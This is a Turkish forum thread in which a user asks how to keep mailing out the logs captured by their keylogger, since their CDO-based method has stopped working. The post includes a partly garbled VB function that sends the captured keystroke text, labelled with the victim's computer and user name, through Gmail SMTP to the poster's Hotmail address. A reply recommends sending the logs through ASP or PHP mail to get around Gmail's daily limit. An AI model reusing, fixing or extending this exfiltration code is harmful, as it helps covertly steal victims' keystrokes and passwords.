Keyloggerimde loglari mail olarak gönderiyordum http://schemas.microsoft.com/cdo/configuration/ kısmında bir değişiklik oldu sanirim ve o yuzden onceki kullandigim mail gönderim yontemi yalan oldu. Simdi component kullanmadan assagida gösterdigim yontem haricinde mail nasil gönderebilirim? Sourceniz varsa hazir cok iyi olur.. Kod: Public Function mail Dim iMsg, iConf, Flds Set iMsg = CreateObject Set iConf = CreateObject Set Flds = iConf. Fields schema = "http://schemas.microsoft.com/cdo/configuration/" Flds. Item = 2 Flds. Item = "smtp. gmail.com" Flds. Item = 465 Flds. Item = 1 Flds. Item = "log@gmail.com" ' Gmail ID miz Flds. Item = "12345" ' Gmail Şifremiz Flds. Item = 1 Flds. Update With iMsg. To = "loglar@hotmail.com" ' Hotmailimiz. From = computername. Text & " / " & username. Text ' Kimden geldigi. Subject = "(" & & ")" 'konu. HTMLbOdy = Text1. Text. Organization = "Mail Organtion" . ReplyTo = "-" Set. Configuration = iConf SendEmailGmail = . Send End With End Function Tesekkürler.. :balloon:

hocam bununla hiç uğraşmayın çünkü günde 200den fazla mail atamazsınız. size tavsiyem asp veya php mail göndermeniz.